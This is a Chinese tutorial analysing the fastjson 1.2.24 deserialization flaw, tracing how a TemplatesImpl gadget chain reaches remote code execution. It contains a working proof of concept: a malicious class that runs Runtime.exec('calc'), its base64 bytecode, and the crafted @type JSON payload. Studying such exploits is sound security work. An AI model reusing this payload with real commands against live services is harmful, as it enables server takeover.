当前位置:

首页 > 编程开发 > java安全fastjson1.2.24反序列化TemplatesImpl实例分析

java安全fastjson1.2.24反序列化TemplatesImpl实例分析

漏洞环境:fastjson1.2.24jdk1.7.80新建一个maven项目在pom.xml文件中引入fastjson的依赖:com.alibabafastjson1.2.24fastjson是alibaba开源的一个用于处理json数据格式的解析库,它支持将java对象解析成json字符串格式的数据,也可以将json字符串还原成java对象。不难看出,java对象转换成json数据就是序列化操作,而将json数据还原成java对象就是反序列化过程。1.fastjson序列化现在我们来看一下fastjs

本文目录

    漏洞环境:

    fastjson1.2.24

    jdk1.7.80

    新建一个maven项目在pom.xml文件中引入fastjson的依赖:

            
                com.alibaba
                fastjson
                1.2.24
            

    fastjson是alibaba开源的一个用于处理json数据格式的解析库,它支持将java对象解析成json字符串格式的数据,也可以将json字符串还原成java对象。不难看出,java对象转换成json数据就是序列化操作,而将json数据还原成java对象就是反序列化过程。

    1. fastjson序列化

    现在我们来看一下fastjson序列化过程,定义一个pojo类:

    public class Student {
     
        private String name;
        private int age;
     
        public Student() {
            System.out.println(" method: Student() ");
        }
        public Student(String name , int age) {
            System.out.println(" method: Student(String name , int age) ");
            this.name = name;
            this.age = age;
        }
     
        public String getName() {
            System.out.println(" method: getName() ");
            return name;
        }
        public int getAge() {
            System.out.println(" method: getAge() ");
            return age;
        }
        public void setName(String name) {
            System.out.println(" method: setName() ");
            this.name = name;
        }
        public void setAge(int age) {
            System.out.println(" method setAge() ");
            this.age = age;
        }
    }

    示例程序:

    public class FastjsonTest1 {
        public static void main(String[] args) {
            Student student = new Student("zhangsan" , 3);
            String jsonString = JSON.toJSONString(student);
            System.out.println(jsonString);
        }
    }

    执行结果如下:

     method: Student(String name , int age)

     method: getAge()

     method: getName()

    {"age":3,"name":"zhangsan"}

    fastjson调用toJSONString方法将Student对象转换成json字符串数据的过程中会调用对象的getter方法。

    另外toJSONString方法在进行序列化时还可以指定一个可选的SerializerFeature.WriteClassName参数,指定了该参数后,在序列化时json数据中会写入一个@type选项,

    如下所示:

    java安全fastjson1.2.24反序列化TemplatesImpl实例分析

     json数据中的@type选项用于指定反序列化的类,也就是说所,当这段json数据被反序列化时,会按照@type选项中指定的类全名反序列化成java对象。

    2. fastjson反序列化

    fastjson提供了两个反序列化函数:parseObject和parse,我们通过示例程序来看一下fastjson的反序列化过程

    java安全fastjson1.2.24反序列化TemplatesImpl实例分析

    方式一调用了parseObject方法将json数据反序列化成java对象,并且在反序列化过程中会调用对象的setter和getter方法。

    方式二调用了parseObject方法进行反序列化,并且指定了反序列化对象Student类,parseObject方法会将json数据反序列化成Student对象,并且在反序列化过程中调用了Student对象的setter方法。

    方式三调用了parse方法将json数据反序列化成java对象,并且在反序列化时调用了对象的setter方法。

    关于Feature.SupportNonPublicField参数:

    以上这三种方式在进行反序列化时都会调用对象的构造方法创建对象,并且还会调用对象的setter方法,如果私有属性没有提供setter方法时,那么还会正确被反序列化成功吗?为了验证这个猜想,现在我们把Student对象的私有属性name的setter方法去掉。

    从程序执行结果来看,私有属性name并没有被正确反序列化,也就是说fastjson默认情况下不会对私有属性进行反序列化。

    java安全fastjson1.2.24反序列化TemplatesImpl实例分析

    如果需要将私有属性反序列化时,就可以调用parseObject方法指定Feature.SupportNonPublicField参数,

    如下所示:

    java安全fastjson1.2.24反序列化TemplatesImpl实例分析

     方式一反序列化时没有指定Feature.SupportNonPublicField参数,私有属性name没有反序列化时没有值,方式二和方式三指定了Feature.SupportNonPublicField参数后,私有属性name可以正确被反序列化。

    3. fastjson反序列化漏洞原理

    在上一小节中我们知道fastjson在进行反序列化时会调用目标对象的构造,setter,getter等方法,如果这些方法内部进行了一些危险的操作时,那么fastjson在进行反序列化时就有可能会触发漏洞。

    我们通过一个简单的案例来说明fastjson反序列化漏洞原理

    package com.fastjson;
     
    import com.alibaba.fastjson.JSON;
    import com.alibaba.fastjson.serializer.SerializerFeature;
     
    import java.io.IOException;
     
    /**
     * @auther songly_
     * @data 2021/8/23 15:27
     */
     
    //定义一个恶意类TestTempletaHello
    class TestTempletaHello {
        static {
            try {
                Runtime.getRuntime().exec("calc");
            } catch (IOException e) {
                e.printStackTrace();
            }
        }
    }
    public class FastjsonTest1 {
        public static void main(String[] args) {
            //创建恶意类的实例并转换成json字符串
            TestTempletaHello testTempletaHello = new TestTempletaHello();
            String jsonString = JSON.toJSONString(testTempletaHello, SerializerFeature.WriteClassName);
            System.out.println(jsonString);
            //将json字符串转换成对象
            Object obj = JSON.parse(jsonString);
            System.out.println(obj);
        }
    }

    在这个示例程序中先是构造了一个恶意类,然后调用toJSONString方法序列化对象写入@type,将@type指定为一个恶意的类TestTempletaHello的类全名,当调用parse方法对TestTempletaHello类进行反序列化时,会调用恶意类的构造方法创建实例对象,因此恶意类TestTempletaHello中的静态代码块中就会被执行。

    执行结果如下:

    java安全fastjson1.2.24反序列化TemplatesImpl实例分析

    4. fastjson1.2.24漏洞复现

    在实际场景中很多类没有这么明显的可以产生漏洞的代码,往往需要攻击者自己想方设法通过一些操作(例如反射,类加载,一些危险的函数)来构造一个漏洞利用环境。

    在学习CC2利用链的时候我们分析了一个基于TemplatesImpl类的利用链,该类会把_bytecodes属性的字节码内容加载并实例化,关于TemplatesImpl类的利用链的具体介绍可参考CC2利用链。

    fastjson1.2.24的反序列化漏洞也是基于TemplatesImpl类来构造利用链,思路如下:

    • 1. 构造一个恶意类TempletaPoc继承AbstractTranslet类,通过javassist字节码编程将恶意类TempletaPoc转换成字节码并进行base64编码。

    • 2. 然后构造TemplatesImpl类的json数据,将TempletaPoc类的字节码设置到_bytecodes属性中,当json数据在还原成TemplatesImpl对象时会加载_bytecodes属性中的TempletaPoc类并实例化,从而触发漏洞。

    定义一个恶意类TempletaPoc继承AbstractTranslet类,通过javassist将恶意类TempletaPoc转换成字节码,然后进行base64编码

    package com.fastjson.pojo;
    import com.sun.org.apache.xalan.internal.xsltc.DOM;
    import com.sun.org.apache.xalan.internal.xsltc.TransletException;
    import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
    import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
    import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
    import java.io.IOException;
    public class TempletaPoc extends AbstractTranslet {
    	//构造RCE代码
        static {
            try {
                Runtime.getRuntime().exec("calc");
            } catch (IOException e) {
                e.printStackTrace();
            }
        }
        public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {
        }
        public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {
     
        }
    }

    最终的poc代码:

    package com.fastjson;
    import com.alibaba.fastjson.JSON;
    import com.alibaba.fastjson.JSONObject;
    import com.alibaba.fastjson.parser.Feature;
    import com.alibaba.fastjson.parser.ParserConfig;
    import com.alibaba.fastjson.serializer.SerializerFeature;
    import com.fastjson.pojo.Student;
    import com.fastjson.pojo.TempletaPoc;
    import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
    import com.sun.org.apache.xml.internal.security.utils.Base64;
    import javassist.*;
     import java.io.IOException;
    /**
     * @auther songly_
     */
    public class FastjsonTest1 {
        public static void main(String[] args) throws CannotCompileException, NotFoundException, IOException {
            //恶意类TempletaPoc转换成字节码,base64编码
            String byteCode = "yv66vgAAADEAMgoACAAiCgAjACQIACUKACMAJgcAJwoABQAoBwApBwAqAQAGPGluaXQ+AQADKClWAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEAEkxvY2FsVmFyaWFibGVUYWJsZQEABHRoaXMBAB9MY29tL2Zhc3Rqc29uL3Bvam8vVGVtcGxldGFQb2M7AQAJdHJhbnNmb3JtAQByKExjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NO1tMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOylWAQAIZG9jdW1lbnQBAC1MY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTsBAAhoYW5kbGVycwEAQltMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOwEACkV4Y2VwdGlvbnMHACsBAKYoTGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ET007TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvZHRtL0RUTUF4aXNJdGVyYXRvcjtMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOylWAQAIaXRlcmF0b3IBADVMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9kdG0vRFRNQXhpc0l0ZXJhdG9yOwEAB2hhbmRsZXIBAEFMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOwEACDxjbGluaXQ+AQABZQEAFUxqYXZhL2lvL0lPRXhjZXB0aW9uOwEAClNvdXJjZUZpbGUBABBUZW1wbGV0YVBvYy5qYXZhDAAJAAoHACwMAC0ALgEABGNhbGMMAC8AMAEAE2phdmEvaW8vSU9FeGNlcHRpb24MADEACgEAHWNvbS9mYXN0anNvbi9wb2pvL1RlbXBsZXRhUG9jAQBAY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL3J1bnRpbWUvQWJzdHJhY3RUcmFuc2xldAEAOWNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9UcmFuc2xldEV4Y2VwdGlvbgEAEWphdmEvbGFuZy9SdW50aW1lAQAKZ2V0UnVudGltZQEAFSgpTGphdmEvbGFuZy9SdW50aW1lOwEABGV4ZWMBACcoTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvUHJvY2VzczsBAA9wcmludFN0YWNrVHJhY2UAIQAHAAgAAAAAAAQAAQAJAAoAAQALAAAALwABAAEAAAAFKrcAAbEAAAACAAwAAAAGAAEAAAAPAA0AAAAMAAEAAAAFAA4ADwAAAAEAEAARAAIACwAAAD8AAAADAAAAAbEAAAACAAwAAAAGAAEAAAAbAA0AAAAgAAMAAAABAA4ADwAAAAAAAQASABMAAQAAAAEAFAAVAAIAFgAAAAQAAQAXAAEAEAAYAAIACwAAAEkAAAAEAAAAAbEAAAACAAwAAAAGAAEAAAAfAA0AAAAqAAQAAAABAA4ADwAAAAAAAQASABMAAQAAAAEAGQAaAAIAAAABABsAHAADABYAAAAEAAEAFwAIAB0ACgABAAsAAABUAAIAAQAAABK4AAISA7YABFenAAhLKrYABrEAAQAAAAkADAAFAAIADAAAABYABQAAABMACQAWAAwAFAANABUAEQAXAA0AAAAMAAEADQAEAB4AHwAAAAEAIAAAAAIAIQ==";
            //构造TemplatesImpl的json数据,并将恶意类注入到json数据中
            final String NASTY_CLASS = "com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl";
            String payload = "{\"@type\":\"" + NASTY_CLASS +
                    "\",\"_bytecodes\":[\""+byteCode+"\"]," +
                    "'_name':'TempletaPoc'," +
                    "'_tfactory':{}," +
                    "\"_outputProperties\":{}}\n";
            System.out.println(payload);
            //反序列化
            Object object = JSON.parseObject(payload,Feature.SupportNonPublicField);
        }
    }

    这里解释一下payload的构造:

    • @type:当fastjson根据json数据对TemplatesImpl类进行反序列化时,会调用TemplatesImpl类的getOutputProperties方法触发利用链加载_bytecodes属性中的TempletaPoc类字节码并实例化,执行RCE代码。

    • _bytecodes:前面已经介绍过了,主要是承载恶意类TempletaPoc的字节码。

    • _name:关于_name属性,在调用TemplatesImpl利用链的过程中,会对_name进行不为null的校验,因此_name的值不能为null(具体可参考CC2利用链)

    • _tfactory:在调用TemplatesImpl利用链时,defineTransletClasses方法内部会通过_tfactory属性调用一个getExternalExtensionsMap方法,如果_tfactory属性为null则会抛出异常,无法根据_bytecodes属性的内容加载并实例化恶意类

    • outputProperties:json数据在反序列化时会调用TemplatesImpl类的getOutputProperties方法触发利用链,可以理解为outputProperties属性的作用就是为了调用getOutputProperties方法。

    漏洞利用成功,接下来我们分析一下parseObject方法是如何触发漏洞的

    java安全fastjson1.2.24反序列化TemplatesImpl实例分析

    5. fastjson1.2.24漏洞分析

    参数features是一个可变参数,parseObject方法底层实际上是调用了parse方法进行反序列化,并且将反序列化的Object对象转成了JSONObject

        public static JSONObject parseObject(String text, Feature... features) {
            return (JSONObject) parse(text, features);
        }

    parse方法会循环获取可变参数features中的值,然后继续调用parse方法

    	public static Object parse(String text, Feature... features) {
            int featureValues = DEFAULT_PARSER_FEATURE;
            for (Feature feature : features) {
                featureValues = Feature.config(featureValues, feature, true);
            }
     
            return parse(text, featureValues);
        }

    分析parse方法:

        public static Object parse(String text, int features) {
            if (text == null) {
                return null;
            }
    		//将json数据放到了一个DefaultJSONParser对象中
            DefaultJSONParser parser = new DefaultJSONParser(text, ParserConfig.getGlobalInstance(), features);
    		//然后调用parse方法解析json
            Object value = parser.parse();
     
            parser.handleResovleTask(value);
     
            parser.close();
     
            return value;
        }

    parse方法创建了一个JSONObject对象存放解析后的json数据,而parseObject方法作用就是把json数据的内容反序列化并放到JSONObject对象中,JSONObject对象内部实际上是用了一个HashMap来存储json。

    	public Object parse(Object fieldName) {
            final JSONLexer lexer = this.lexer;
            switch (lexer.token()) {
    			//省略部分代码......
                case LBRACE:
    				//创建一个JSONObject对象
                    JSONObject object = new JSONObject(lexer.isEnabled(Feature.OrderedField));
    				//parseObject方法
                    return parseObject(object, fieldName);
    			//省略部分代码......
    		}
    	}

    继续跟进parseObject方法;

    	public final Object parseObject(final Map object, Object fieldName) {
    		//省略部分代码......
    		//从json中提取@type
    		key = lexer.scanSymbol(symbolTable, '"');
    		//省略部分代码......
    		
    		//校验@type
    		if (key == JSON.DEFAULT_TYPE_KEY && !lexer.isEnabled(Feature.DisableSpecialKeyDetect)) {
    			//提取type对应的值
    			String typeName = lexer.scanSymbol(symbolTable, '"');
    			//然后根据typeName进行类加载
    			Class clazz = TypeUtils.loadClass(typeName, config.getDefaultClassLoader());
     
    			if (clazz == null) {
    				object.put(JSON.DEFAULT_TYPE_KEY, typeName);
    				continue;
    			}
    		}
    		//省略部分代码......
    		
    		//然后将class对象封装成ObjectDeserializer对象
    		ObjectDeserializer deserializer = config.getDeserializer(clazz);
    		//然后调用deserialze方法进行反序列化
    		return deserializer.deserialze(this, clazz, fieldName);
    	}

    parseObject方法主要是从json数据中提取@type并进行校验是否开启了autoType功能,接着会调用loadClass方法加载@type指定的TemplatesImpl类,然后将TemplatesImpl类的class对象封装到ObjectDeserializer 中,然后调用deserialze方法进行反序列化。

    我们来看一下deserializer的内容,如下图所示:

    java安全fastjson1.2.24反序列化TemplatesImpl实例分析

     TemplatesImpl类的每个成员属性封装到deserializer的fieldInfo中了。

    然后调用了deserialze方法,该方法中的参数如下所示:

    java安全fastjson1.2.24反序列化TemplatesImpl实例分析

    deserialze方法内部的代码逻辑实在是太复杂了,内部有大量的校验和if判断,这里只是简单的分析了大概的逻辑,这些已经足够我们理解TemplatesImpl的利用链了,后期深入分析fastjson的防御机制,以及在构造payload如何绕过校验机制时,再深入分析deserialze方法分析fastjson的解析过程做了哪些事情,目前我们先把TemplatesImpl的利用链搞清楚再说。

    protected  T deserialze(DefaultJSONParser parser, Type type,  Object fieldName,  Object object, int features) {
    		
    			     //省略部分代码......
    			
    			     //调用createInstance方法实例化
    			    if (object == null && fieldValues == null) {
                        object = createInstance(parser, type);
                        if (object == null) {
                            fieldValues = new HashMap(this.fieldDeserializers.length);
                        }
                        childContext = parser.setContext(context, object, fieldName);
                    }
    			
    			//省略部分代码......
    			
    			//调用parseField方法解析json
    			boolean match = parseField(parser, key, object, type, fieldValues);
    		}

     我们只分析deserialze方法中的部分核心代码,deserialze方法内部主要是调用了createInstance方法返回一个object类型的对象(也就是TemplatesImpl对象),然后调用了parseField方法解析属性字段。

    parseField方法:

        public boolean parseField(DefaultJSONParser parser, String key, Object object, Type objectType, Map fieldValues) {
    		//省略部分代码......
     
            FieldDeserializer fieldDeserializer = smartMatch(key);
    		//SupportNonPublicField选项
            final int mask = Feature.SupportNonPublicField.mask;
    		
    		//if判断会校验SupportNonPublicField选项
            if (fieldDeserializer == null
                    && (parser.lexer.isEnabled(mask)
                        || (this.beanInfo.parserFeatures & mask) != 0)) {
                //获取TemplatesImpl对象的属性信息
            }
     
    		//省略部分代码......
     
    		//调用parseField方法解析字段
            fieldDeserializer.parseField(parser, object, objectType, fieldValues);
     
            return true;
        }

    parseField方法内部会对参数features中的SupportNonPublicField选项进行校验,这个if判断主要是获取TemplatesImpl对象的所有非final或static的属性,如果fastjson调用parseObject方法时没有设置SupportNonPublicField选项的话,就不会进入这个if判断,那么fastjson在进行反序列化时就不会触发漏洞。

    校验完SupportNonPublicField选项后,调用parseField方法解析TemplatesImpl对象的属性字段,先来看一下parseField方法的参数

    java安全fastjson1.2.24反序列化TemplatesImpl实例分析

    parseField方法主要会做以下事情,调用fieldValueDeserilizer的deserialze方法将json数据中每个属性的值都提取出来放到value 中,然后调用setValue方法将value的值设置给object。

        @Override
        public void parseField(DefaultJSONParser parser, Object object, Type objectType, Map fieldValues) {
    		
    		//省略部分代码......
    		
    		//解析json中的数据(将每个属性的值还原)
    		value = fieldValueDeserilizer.deserialze(parser, fieldType, fieldInfo.name);
    		 
    		 //省略部分代码......
    		 
    		 setValue(object, value);
       }

    可以看到deserialze方法将json数据中的_bytecodes值提取出来进行base64解码存放到value中,接着调用setValue方法将value设置给object(即TemplatesImpl对象的_bytecodes)。

    java安全fastjson1.2.24反序列化TemplatesImpl实例分析

    继续跟进fieldValueDeserilizer的deserialze方法

        public  T deserialze(DefaultJSONParser parser, Type type, Object fieldName) {
    		//省略部分代码......
     
            if (lexer.token() == JSONToken.LITERAL_STRING) {
    			//调用了bytesValue方法
                byte[] bytes = lexer.bytesValue();
                lexer.nextToken(JSONToken.COMMA);
                return (T) bytes;
            }
    		
    		//省略部分代码......
    		
    	}

    deserialze方法内部调用了bytesValue方法。

    bytesValue方法内部调用了确实对json数据中的_bytecodes值进行了base64解码

    java安全fastjson1.2.24反序列化TemplatesImpl实例分析

    前面我们说过json数据中的outputProperties的作用是触发TemplatesImpl利用链的

    触发漏洞的关键就在于当fastjson调用setValue方法将json数据中的outputProperties的值设置给TemplatesImpl对象时会触发漏洞,调用TemplatesImpl类的getOutputProperties方法。

    继续分析setValue方法是如何触发漏洞的

    public void setValue(Object object, Object value){
    		//首先校验value是否为null
            if (value == null //
                && fieldInfo.fieldClass.isPrimitive()) {
                return;
            }
     
            try {
    			//根据outputProperties属性获取对应的方法
                Method method = fieldInfo.method;
                if (method != null) {
                    if (fieldInfo.getOnly) {
                        if (fieldInfo.fieldClass == AtomicInteger.class) {
                            AtomicInteger atomic = (AtomicInteger) method.invoke(object);
                            if (atomic != null) {
                                atomic.set(((AtomicInteger) value).get());
                            }
                        } else if (fieldInfo.fieldClass == AtomicLong.class) {
                            AtomicLong atomic = (AtomicLong) method.invoke(object);
                            if (atomic != null) {
                                atomic.set(((AtomicLong) value).get());
                            }
                        } else if (fieldInfo.fieldClass == AtomicBoolean.class) {
                            AtomicBoolean atomic = (AtomicBoolean) method.invoke(object);
                            if (atomic != null) {
                                atomic.set(((AtomicBoolean) value).get());
                            }
    
                        } else if (Map.class.isAssignableFrom(method.getReturnType())) {
    						//反射调用getOutputProperties方法
                            Map map = (Map) method.invoke(object);
                            if (map != null) {
                                map.putAll((Map) value);
                            }
                        } else {
                            Collection collection = (Collection) method.invoke(object);
                            if (collection != null) {
                                collection.addAll((Collection) value);
                            }
                        }
                    } else {
                        method.invoke(object, value);
                    }
                    return;
                }
        }
    	
    	//省略部分代码......
    	
    }

    setValue方法对value进行了不为null的校验,然后解析_outputProperties(json中的_outputProperties被封装到了fieldInfo中)。

    fastjson会将属性的相关信息封装到fieldInfo中,具体信息如下:

    java安全fastjson1.2.24反序列化TemplatesImpl实例分析

    然后判断method中的getOutputProperties的返回值是否为Map,为什么是通过Map接口的class对象来判断?因为Properties实现了Map接口,因此这个判断满足条件会通过反射调用TemplatesImpl对象的getOutputProperties方法。

    关于getOutputProperties方法的调用

    不知道大家有没有思考过fastjson是如何获取到getOutputProperties方法的?原因在于parseField方法内部调用了JavaBeanDeserializer类的smartMatch方法

    java安全fastjson1.2.24反序列化TemplatesImpl实例分析

    smartMatch方法会将json中的_outputProperties中的下划线去掉,替换成outputProperties并封装到fieldInfo中,我们知道fastjson在反序列化过程中会调用属性的getter方法,因此这里还会将outputProperties属性的getter方法也封装到fieldInfo中的method当中。

        public FieldDeserializer smartMatch(String key) {
     
     
    		//省略部分代码......
            
            if (fieldDeserializer == null) {
                boolean snakeOrkebab = false;
                String key2 = null;
                for (int i = 0; i < key.length(); ++i) {
                    char ch = key.charAt(i);
    				//是否有"_"特殊字符串
                    if (ch == '_') {
                        snakeOrkebab = true;
    					//把_字符串替换为空
                        key2 = key.replaceAll("_", "");
                        break;
                    } else if (ch == '-') {
                        snakeOrkebab = true;
                        key2 = key.replaceAll("-", "");
                        break;
                    }
                }
                if (snakeOrkebab) {
                    fieldDeserializer = getFieldDeserializer(key2);
                    if (fieldDeserializer == null) {
                        for (FieldDeserializer fieldDeser : sortedFieldDeserializers) {
                            if (fieldDeser.fieldInfo.name.equalsIgnoreCase(key2)) {
                                fieldDeserializer = fieldDeser;
                                break;
                            }
                        }
                    }
                }
            }
     
          //省略部分代码......
    	  
        }

    我们貌似... 大概知道了getOutputProperties方法是如何获取的,继续思考一下:fastjson在反序列化过程中具体是如何调用属性的getter方法的?

    答案是JavaBeanInfo类中有一个build方法,当通过@type获取TemplatesImpl类的calss对象后,会通过反射获取该类的class对象的所有方法并封装到Method数组中。然后通过for循环遍历Method获取getter方法,并将outputProperties属性和getter方法(getOutputProperties方法)一起封装到FieldInfo,从代码中确实可以看到add方法会将FieldInfo放到了一个fieldList中,然后将fieldList封装到JavaBeanInfo

    java安全fastjson1.2.24反序列化TemplatesImpl实例分析

    getter方法的查找方式需要满足以下几个条件:

    方法名长度不小于4

    必须是非静态方法

    必须get字符串开头,并且第四个字符为大写字母

    方法中不能有参数

    返回值继承自Collection || Map || AtomicBoolean || AtomicInteger ||AtomicLong

    在getter方法中不能有setter方法

    这样一来自然就获取到了getOutputProperties( )方法,当setValue方法从FieldInfo获取到outputProperties属性和getOutputProperties方法并反射调用getOutputProperties方法就会触发TemplatesImpl利用链。

    getOutputProperties方法内部调用了newTransformer方法

        public synchronized Properties getOutputProperties() {
            try {
    			//调用newTransformer方法
                return newTransformer().getOutputProperties();
            }
            catch (TransformerConfigurationException e) {
                return null;
            }
        }

    newTransformer方法内部调用了getTransletInstance方法

        public synchronized Transformer newTransformer() throws TransformerConfigurationException {
            TransformerImpl transformer;
    		//调用了getTransletInstance方法
            transformer = new TransformerImpl(getTransletInstance(), _outputProperties,
                _indentNumber, _tfactory);
     
            if (_uriResolver != null) {
                transformer.setURIResolver(_uriResolver);
            }
     
            if (_tfactory.getFeature(XMLConstants.FEATURE_SECURE_PROCESSING)) {
                transformer.setSecureProcessing(true);
            }
            return transformer;
        }

    getTransletInstance方法内部会对_name和_class进行不为null校验, 我们构造的payload没有_class,因此这里_class为null会调用defineTransletClasses方法加载_bytecodes属性的类字节码(加载TempletaPoc类)。

        private Translet getTransletInstance() throws TransformerConfigurationException {
            try {
                if (_name == null) return null;
    			//调用defineTransletClasses方法
                if (_class == null) defineTransletClasses();
    		
    		//根据_class实例化类
    		AbstractTranslet translet = (AbstractTranslet) _class[_transletIndex].newInstance();
        }

    跟进defineTransletClasses方法:

        private void defineTransletClasses() throws TransformerConfigurationException {
    		//校验_bytecodes
            if (_bytecodes == null) {
                ErrorMsg err = new ErrorMsg(ErrorMsg.NO_TRANSLET_CLASS_ERR);
                throw new TransformerConfigurationException(err.toString());
            }
     
            TransletClassLoader loader = (TransletClassLoader)
                AccessController.doPrivileged(new PrivilegedAction() {
                    public Object run() {
    					//通过_tfactory调用getExternalExtensionsMap方法
                        return new TransletClassLoader(ObjectFactory.findClassLoader(),_tfactory.getExternalExtensionsMap());
                    }
                });
     
            try {
                final int classCount = _bytecodes.length;
                _class = new Class[classCount];
     
                if (classCount > 1) {
                    _auxClasses = new Hashtable();
                }
     
                for (int i = 0; i < classCount; i++) {
    				//加载_bytecodes中的类(TempletaPoc)
                    _class[i] = loader.defineClass(_bytecodes[i]);
    				//获取TempletaPoc的父类
                    final Class superClass = _class[i].getSuperclass();
     
                    // Check if this is the main class
    				//是否继承了AbstractTranslet类
                    if (superClass.getName().equals(ABSTRACT_TRANSLET)) {
                        _transletIndex = i;
                    }
                    else {
                        _auxClasses.put(_class[i].getName(), _class[i]);
                    }
                }
     
                if (_transletIndex < 0) {
                    ErrorMsg err= new ErrorMsg(ErrorMsg.NO_MAIN_TRANSLET_ERR, _name);
                    throw new TransformerConfigurationException(err.toString());
                }
            }
            catch (ClassFormatError e) {
                ErrorMsg err = new ErrorMsg(ErrorMsg.TRANSLET_CLASS_ERR, _name);
                throw new TransformerConfigurationException(err.toString());
            }
            catch (LinkageError e) {
                ErrorMsg err = new ErrorMsg(ErrorMsg.TRANSLET_OBJECT_ERR, _name);
                throw new TransformerConfigurationException(err.toString());
            }
        }

    defineTransletClasses方法内部会加载_bytecodes中的类字节码数据(加载TempletaPoc类),并且会校验TempletaPoc类是否继承了AbstractTranslet类。然后返回到getTransletInstance方法中,调用newInstance方法实例化TempletaPoc类执行RCE代码。

    本站声明:本文内容由网友自发贡献,版权归原作者所有,本站不承担相应法律责任。如您发现有涉嫌抄袭侵权的内容,请联系bd@zhengruan.com
    作者最新文章
    编程开发 Java
    相关文章 更多
    Java单元测试入门:使用JUnit 5编写第一个测试用例
    Java单元测试入门:使用JUnit 5编写第一个测试用例

    面向初学者的JUnit 5实用入门指南。从测试概念、Maven依赖配置,到手把手编写首个单元测试用例及断言验证,助你掌握Java单元测试的核心流程。

    Java变量未初始化报错解析:局部变量与成员变量默认值差异
    Java变量未初始化报错解析:局部变量与成员变量默认值差异

    深入解析Java中局部变量未初始化编译报错与成员变量自动赋予默认值的机制差异,涵盖JVM内存分配、编译期确定性赋值检查与实际排查修复方案。

    Java获取当前时间并格式化输出:DateTimeFormatter与SimpleDateFormat
    Java获取当前时间并格式化输出:DateTimeFormatter与SimpleDateFormat

    详细讲解在Java中获取当前系统时间并进行格式化输出的两种核心方案:基于Java 8全新日期时间API的DateTimeFormatter与传统遗留的SimpleDateFormat,包含完整代码示例、线程安全机制对比及生产选型建议。

    Java中final与static final常量的定义及初始化规则
    Java中final与static final常量的定义及初始化规则

    深入解析Java中final变量与static final常量的定义、内存语义、初始化时机及合法赋值路径,涵盖编译期常量优化与实战避坑指南。

    Java抽象方法与接口方法的区别及选型建议
    Java抽象方法与接口方法的区别及选型建议

    深入对比Java中抽象类抽象方法与接口方法的语法演进、设计意图及运行期差异,并提供清晰的架构选型决策流程与实战范例。

    Java实现HTTP请求与JSON解析的完整代码示例
    Java实现HTTP请求与JSON解析的完整代码示例

    本文提供Java标准库HttpClient发起HTTP GET/POST请求并结合Jackson进行JSON数据反序列化与序列化的完整代码示例与工程实践指南。

    Java递归出现StackOverflowError的原因分析及栈空间优化方案
    Java递归出现StackOverflowError的原因分析及栈空间优化方案

    详细分析Java递归调用出现StackOverflowError的原因,结合代码说明线程栈、栈帧和递归深度之间的关系,并介绍终止条件排查、迭代改写、减少栈帧开销以及通过-Xss调整JVM栈空间的方法。

    Java空指针异常(NPE)的代码排查与修复实例
    Java空指针异常(NPE)的代码排查与修复实例

    针对Java中常见的NullPointerException(NPE),本文从堆栈日志定位、典型代码触发场景、具体修复代码对比到防御体系进行系统讲解,提供实用且易上手的排查与修复方案。

    selenium上传文件教程本地文件路径设置方法
    selenium上传文件教程本地文件路径设置方法

    深入解析Selenium处理文件上传的技术细节,涵盖标准HTML控件的路径直接注入法与非标准控件的系统级模拟方案,提供Windows与Linux环境下的路径设置最佳实践及常见异常排查。

    大数据开发语言选型:Java对比Scala与Python的优缺点及适用场景
    大数据开发语言选型:Java对比Scala与Python的优缺点及适用场景

    针对大数据工程场景,系统对比Java、Scala与Python在执行性能、生态结合、开发效率和维护成本上的核心差异,给出清晰的架构选型依据与落地方案。

    查看更多
    精品专题 更多
    装机必备
    装机必备

    正软商城装机必备专区,精选办公、浏览器、安全防护、影音播放、压缩解压、设计创作和系统工具等电脑常用正版软件,帮助用户快速完成新电脑软件配置。

    Windows
    Windows

    正软商城Windows软件专区,汇集适用于Windows电脑的办公、设计、安全防护、影音播放、开发工具和系统优化软件,提供软件介绍、系统要求、正版授权及购买下载服务。

    PDF教程
    PDF教程

    正软商城PDF教程频道提供PDF编辑、转换、合并、拆分、压缩及格式处理方法,同时介绍常用PDF软件和工具的使用技巧。

    Mac软件 更多
    讯飞智作 网页版
    讯飞智作 网页版
    Windows/ macOS/ Linux

    讯飞智作是一款基于语音合成技术、虚拟人驱动技术与数字人形象声音构建能力的 AI 数字人音视频创作平台。

    火山引擎 网页版
    火山引擎 网页版
    Windows/ macOS/ Linux

    火山引擎是字节跳动旗下企业级云与AI服务平台。聚焦大模型核心能力,依托字节自研豆包多模态大模型,凭借火山方舟一站式平台,提供模型精调、推理部署、智能应用搭建等全链路服务,结合高性能AI算力,助力各行业快速落地大模型数字化与智能化应用。

    Aperty macOS版
    Aperty macOS版
    macOS

